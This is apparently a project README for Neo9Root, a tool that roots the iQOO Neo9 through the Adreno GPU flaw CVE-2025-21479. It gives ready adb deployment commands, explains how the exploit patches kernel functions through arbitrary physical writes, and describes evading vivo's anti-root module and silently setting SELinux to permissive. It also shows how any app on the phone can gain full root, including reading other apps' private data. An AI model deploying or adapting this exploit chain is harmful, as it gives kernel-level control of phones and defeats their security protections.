Neo9Root

iQOO Neo9 (PD2338C) アンロック不要 Caps-Root ツール — CVE-2025-21479 (Adreno GPU SDS) に基づく任意物理書き込み特権昇格スキーム

Bootloader のロック解除不要、書き込み不要、Magisk 不要。GPU の脆弱性を利用してカーネルレベルの任意物理書き込みを取得し、カーネルの重要関数をパッチした後、全ケーパビリティ (41-bit caps) で常駐 root daemon として動作し、rootc / su に root 能力を提供します。

コア機能：euid を 2000 に維持して vivo の vr.ko による反 root 検出を回避（euid=0 だとデバイスが再起動する）。root 能力は uid=0 と同等ですが、プロセスとしての身元は安全です。

✨ 特徴

🔓 BL ロック解除不要 — bootloader / パーティション / dm-verity に一切触れず、全 RAM 状態、再起動でクリーン
🧬 カーネルレベルの真の root — CapEff: 000001ffffffffff（41 ビット全ケーパビリティ）、アプリ層の偽装ではない
🛡️ vivo の反 root 回避 — euid=2000 を維持、vr.ko 検出を無効化、デバイスのクラッシュゼロ
⚙️ 常駐 daemon — ファイルキュー + Base64 プロトコル、コマンド実行は依存ゼロ、出力を完全透過
🔌 互換レイヤー — su ラッパー、MT マネージャー / Termux から直接呼び出し可能
📦 ゼロ永続化 — すべてのパッチは RAM 上、再起動で自動的にクリーンな状態へ復元

📱 対応デバイス

⚠️ エクスプロイトはこのカーネルの具体的なレイアウト（シンボルオフセット、VIVO_VMET_BREAK_KMI 機能、vr.ko の動作）に依存しています。他のデバイス/カーネルでは再適応が必要です。

🚀 クイックスタート

環境要件

Windows + adb（または任意プラットフォームの adb。スクリプトは PowerShell 版です）
スマートフォンで USB デバッグを有効にする

ワンクリックデプロイ（推奨）

# 克隆后运行 (adb 需在 PATH; 或用 $env:ADB 指定路径)
powershell -ExecutionPolicy Bypass -File scripts\run_rootc_loop.ps1

スクリプトが自動で：3点セットをプッシュ → 再起動してコールドウィンドウを取得 → 複数ラウンドで exploit を実行（命中率 ~50%/ラウンド）→ daemon 準備完了 → 検証。

手動デプロイ

# 1. 推送 (只需一次, /data 持久)
adb push exploit\exploit_vivo_neo9 /data/local/tmp/
adb push client\rootc /data/local/tmp/
adb push client\su /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/exploit_vivo_neo9 /data/local/tmp/rootc /data/local/tmp/su"

# 2. 重启获取冷窗口 (重启后 <3 分钟内运行命中率最高)
adb reboot
# ...等待开机完成...

# 3. 启动 exploit (后台 daemon)
adb shell "cd /data/local/tmp && nohup sh -c 'CHEESE_STEXT_PA=0xa8010000 CHEESE_DAEMON=1 CHEESE_PATCH_CAP=1 ./exploit_vivo_neo9 > /data/local/tmp/exploit_daemon.log 2>&1 &'"

# 4. 等待就绪 (命中通常 10s~3min)
adb shell "cat /data/local/tmp/rootd_ready.txt"
# 输出 "ready" 即成功

🛠️ 使用

rootc — 任意の root コマンドを実行

# 简单命令
adb shell "/data/local/tmp/rootc id"

# 复杂命令 (Base64 编码, 避免引号问题)
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('ls -la /data/adb; dmesg | tail -5'))
adb shell "/data/local/tmp/rootc B64:$b64"

su — MT マネージャー / Termux 互換

su -c "ls /data/adb"          # 任意 root 命令
su -c "chown 0:0 /path/file"  # 文件属主改为 root:root
su                            # 交互模式 (stdin 逐行)

Termux の設定：初回使用時に実行が必要です（root 権限）：

# 开放队列目录写权限 + 安装 su 到 Termux PATH
su -c "chmod 1777 /data/local/tmp"
su -c "cp /data/local/tmp/su /data/data/com.termux/files/usr/bin/su && chmod 755 /data/data/com.termux/files/usr/bin/su"

MT マネージャー：設定 → ROOT → カスタム su パス → /data/local/tmp/su

u0 — 真の root（euid=0）操作

rootc/su 環境は意図的に euid=2000 を維持しています（vr.ko の反 root 検出を防ぐため）。ただし一部のカーネルインターフェース（/proc/vrp、一部の sysfs ノードなど）のドライバーは current_euid()==0 をチェックするため、全 caps でも通りません → その場合は u0 で rootd 環境の CAP_SETUID を借り、真の root に昇格します：

# 推送 (只需一次)
adb push client\u0 /data/local/tmp/u0
adb shell "chmod 755 /data/local/tmp/u0"

# 用法: u0 <绝对路径程序> <参数...>   (execv 需要绝对路径!)
$cmd = '/data/local/tmp/u0 /system/bin/sh -c "id; cat /proc/vrp 2>&1"'
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($cmd))
adb shell "/data/local/tmp/rootc B64:$b64"
# 输出: uid=0(root) gid=0(root) ...   ← 真 root 会话

実測で安全：setuid(0) は vr.ko の fatal を誘発しません（rootd メインプロセス自体が uid=0 で長期稼働可能。uid=0 プロセスは殺害リストに含まれません）
確認済みの制限：/proc/vrp は uid=0 + 全 caps でも依然として EPERM を返します（vrp ドライバーが能動的な権限チェックを行っており、DAC/SELinux ではありません——リバースエンジニアリング進行中）。insmod も uid=0 でデバイスの再起動を引き起こします（モジュールロード検出は呼び出し元の uid を見ません）
コンパイル方法は docs\u0_说明.md を参照

一般ユーザー（app / shell より低い権限）が /data/local/tmp へアクセス

/data/local/tmp はデフォルトで drwxrwxrwt（1777、shell 所有）です——DAC 層では任意のユーザーが読み書き可能。一般ユーザー（untrusted_app ドメイン）を実際にブロックしているのは SELinux です（ポリシーが app ドメインの shell_data_file ラベルへのアクセスを拒否）：

# 1. DAC: 确保目录 1777 + 队列文件可写 (rootc 创建时已是 0666)
su -c "chmod 1777 /data/local/tmp"

# 2. SELinux: exploit 部署后处于 permissive, 无需额外操作 (permissive 不执行策略)
#    ⚠️ 不要用 setenforce 0 —— vr.ko 的 avc_has_perm hook 会检测 setenforce 动作
#       (kprobe 虽已中和, hfm 文本 hook 仍可能触发 fatal), 改走 exploit 的
#       物理写 permissive (run_selinux_rmw, 已内置在部署流程)

# 3. 验证 (用 app 身份 / run-as 执行 rootc)
run-as com.termux /data/local/tmp/rootc id        # 或任意 app 执行
# 输出 [rc=0] 即普通用户可正常使用 root 能力

app が rootc を実行可能（1777 ディレクトリ + 755 ファイル）→ 一般ユーザーは完全な root 能力を取得
制限：再起動後は permissive が無効になるため、一般ユーザーのアクセスは制限された状態に戻ります（shell_data_file は shell ドメインのみアクセス可能）。再デプロイ後に復元されます
読み取りのみ必要な場合：su -c "cat /data/local/tmp/xxx > /sdcard/xxx" で中継します（app は /sdcard に問題なくアクセス可能）

よく使う検証

su -c id                                        # uid=2000 正常 (见 FAQ)
su -c "grep CapEff /proc/self/status"           # 000001ffffffffff = 全能力
su -c "ls /data/adb"                            # 700 root 目录, 普通 shell 被拒
su -c "chown 0:0 /data/local/tmp/x && ls -l /data/local/tmp/x"   # root 专属操作
su -c "head -5 /proc/iomem"                     # 内核物理内存布局
su -c "ls /data/data/<任意包名>"                 # 任意 app 私有数据

🔬 原理

CVE-2025-21479 (Adreno SDS: CP_SET_DRAW_STATE 误判)
        │  特权执行 CP_SMMU_TABLE_UPDATE → SMMU TTBR0 指向伪造页表
        ▼
任意物理写 (fake TT0: L1/L2/L3 三级页表 + 6GB 匿名页 spray 命中)
        │
        ├──▶ patch cap_bprm_creds_from_file 入口 (mov w0,#0; ret)
        │        → exec 后保留 effective caps (普通命令也能带全 caps)
        ├──▶ patch kptr_restrict = 0
        │        → /proc/kallsyms 全地址可见
        └──▶ patch vhangup stub (MODE=10 提权)
                 → fsuid/fsgid=0 + 41 位 caps, euid 保持 2000
                 → fork 常驻 daemon (文件队列服务)
        │
        ▼
rootc / su  ──(文件队列 + B64)──▶  daemon ──▶ 任意 root 命令 (全 caps)

なぜ euid=2000 なのか？ vivo カーネルには vr.ko 反 root モジュールが組み込まれています。cred->euid==0 を検出した非 vrp ドメインのプロセスは即座に fatal（デバイス再起動）を発動します。MODE=10 の特権昇格は意図的にeuid を変更せず、fsuid/fsgid + caps のみを書き込みます——vr.ko は発動しませんが、カーネルの capable() チェックはすべて通過します（真の root 能力）。

📂 プロジェクト構成

neo9_root/
├── README.md                 # 本文档
├── LICENSE                   # MIT
├── exploit/                  # 漏洞利用
│   ├── exploit_vivo.c        #   源码 (STUB_MODE=10 + daemon + cap_bprm patch)
│   ├── exploit_vivo_neo9     #   编译产物 (aarch64 musl 静态)
│   └── stubs/                #   提权 stub 汇编
├── client/                   # 客户端
│   ├── rootc.c / rootc       #   root 命令客户端 (文件队列 + B64)
│   ├── su                    #   su 兼容包装器 (MT/Termux)
│   ├── u0.c / u0             #   euid=0 提升工具 (真 root 操作, 见"u0"章节)
│   └── shim.c / shim.so      #   LD_PRELOAD kptr_restrict 重定向 (ksud insmod 链路)
├── scripts/                  # 部署脚本
│   ├── run_rootc_loop.ps1    #   推荐: 多轮自动部署
│   └── run_root_final.ps1    #   一键部署
├── tools/                    # 内核/模块逆向分析脚本 (vr.ko 等)
├── docs/                     # 调试记录
│   ├── DEBUG_RECORD.md       #   完整调试记录 (崩溃根因链)
│   └── EXPLOIT0_FIX.md       #   exploit0 修复记录
└── archive/                  # 失败方案参考 (setuid 方案等)

⚠️ 既知の制限と注意事項

再起動で無効：すべてのパッチは RAM 上のみ。再起動後は再デプロイが必要
コールドウィンドウ：exploit のヒットは reboot 後 <3min の実行に依存。プロセス内の候補ループでは最初の ~28 候補が GPU 正常ウィンドウで、以降は GPU がフリーズする可能性 → run_rootc_loop.ps1 で複数ラウンド再試行
adb 切断 ≠ クラッシュ：GPU 高負荷時に adbd が応答しなくなり adb が切断されることがあります。cat /proc/uptime で確認してください（uptime が増え続け画面が正常 = デバイスはクラッシュしていません）
id が uid=2000 を表示：原理の章を参照。設計上の挙動であり、能力は root と同等
mount / は fstab で制限；/system は読み取り専用（erofs + dm-verity)、永続的な変更は不可
/data/local/tmp の権限：Termux / 一般ユーザー用途では chmod 1777 が必要（「一般ユーザーアクセス」の章を参照）。SELinux は permissive を維持する必要があります（exploit デプロイ時に設定済み）、setenforce 0 は使わないでください（vr.ko が検出します）

❓ FAQ

Q: これは本物の root ですか？ A: はい。カーネルの capable() チェック（CapEff 全開放、chown 0:0、/proc/iomem の読み取り、任意の app データの読み取り）をすべて通過します——カーネルはあなたに root 能力があると認識します。ただ uid の数字が 2000 なだけです。

Q: 文鎮化しますか？ A: しません。パーティションへの書き込みや永続的な変更は一切なく、最悪の場合でも GPU がフリーズして再起動すれば復旧します。

Q: 他の機種はサポートしていますか？ A: 再適応が必要です（カーネルレイアウト、シンボルオフセット、vr.ko の動作はいずれも PD2338C 専用です）。vivo iQOO Neo9 でシステムが OriginOS 5（橘子5）のものであれば試行可能です。

📜 免責事項

本プロジェクトはセキュリティ研究および個人デバイスでの使用のみを目的としています。本ツールの使用によって生じたいかなる結果（デバイスの損傷、データ損失、保証の失効を含みますがこれらに限定されません）についても、利用者自身が責任を負うものとします。現地の法令を遵守し、違法な目的で使用しないでください。

🙏 謝辞

zhuowei/cheese — 元となった GPU exploit フレームワーク
sarabpal-dev/cheese-cake — 拡張実装
Type010 / CyberMeowfia 等の公開研究 — アイデアの参考

📄 License

MIT

vivo_iqoo_neo_9_root_research_on_CVE-2025-21479

人気

デバイス	iQOO Neo9 (PD2338C)
システム	Android 15
カーネル	`5.15.178-gaacdc35637c4-dirty` (GKIv1)
GPU	Adreno 740 (A7xx)
メモリレイアウト	物理 KASLR なし (`stext_pa=0xa8010000`)、VA 全体スライド